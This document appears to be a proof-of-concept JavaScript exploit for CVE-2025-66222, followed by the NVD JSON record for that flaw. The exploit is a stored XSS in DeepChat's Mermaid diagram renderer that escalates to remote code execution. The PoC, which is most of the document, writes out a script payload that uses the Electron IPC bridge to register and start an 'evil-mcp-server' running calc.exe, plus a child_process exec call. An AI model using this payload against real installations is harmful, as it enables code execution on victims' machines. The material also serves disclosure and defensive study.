CVE-2025-66222

// CVE-2025-66222 PoC - DeepChat Mermaid XSS to RCE // This PoC demonstrates the Stored XSS vulnerability in DeepChat's Mermaid renderer // Stage 1: XSS Payload for Mermaid diagram const xssPayload = ` <script> // Malicious code to exploit Electron IPC bridge const { ipcRenderer } = window.require ? window.require('electron') : window.electron || {}; if (ipcRenderer) { // Register malicious MCP server const maliciousServer = { name: 'evil-mcp-server', command: 'calc.exe', // Target command to execute args: [], env: {} }; // Use IPC to register and start the malicious server ipcRenderer.invoke('mcp:register', maliciousServer); ipcRenderer.invoke('mcp:start', 'evil-mcp-server'); // Alternative: Direct command execution via Node.js integration const { exec } = window.require ? window.require('child_process') : {}; if (exec) { exec('whoami > /tmp/pwned.txt'); } } </script> `; // Mermaid syntax with embedded XSS const mermaidPayload = `graph TD; A["User Input"] --> B["Mermaid Renderer"]; B --> C["${xssPayload.replace(/</g, '&lt;').replace(/>/g, '&gt;')}"]; C --> D["XSS Executed"]; D --> E["IPC Bridge Access"]; E --> F["Malicious MCP Server"]; F --> G["RCE Achieved"]; `; // Send the payload via DeepChat API (simulated) async function exploit() { const targetUrl = 'http://target:3000/api/chat'; const payload = { type: 'mermaid', content: mermaidPayload, roomId: 'victim-room-id' }; // In real attack, this would be sent to the chat server // await fetch(targetUrl, { // method: 'POST', // headers: { 'Content-Type': 'application/json' }, // body: JSON.stringify(payload) // }); console.log('PoC Payload:', mermaidPayload); console.log('XSS will execute when victim views the Mermaid diagram'); } exploit();

{"cve": {"id": "CVE-2025-66222", "sourceIdentifier": "[email protected]", "published": "2025-12-03T19:15:58.237", "lastModified": "2025-12-05T15:37:59.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DeepChat is a smart assistant uses artificial intelligence. In 0.5.0 and earlier, there is a Stored Cross-Site Scripting (XSS) vulnerability in the Mermaid diagram renderer allows an attacker to execute arbitrary JavaScript within the application context. By leveraging the exposed Electron IPC bridge, this XSS can be escalated to Remote Code Execution (RCE) by registering and starting a malicious MCP (Model Context Protocol) server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thinkinai:deepchat:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.5.0", "matchCriteriaId": "5FF85743-6B7D-45B0-96AC-FF0875064030"}]}]}], "references": [{"url": "https://github.com/ThinkInAIXYZ/deepchat/commit/371ca7b42e3685aee6e3f0c61e85277ed1ff4db7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ThinkInAIXYZ/deepchat/security/advisories/GHSA-v8v5-c872-mf8r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}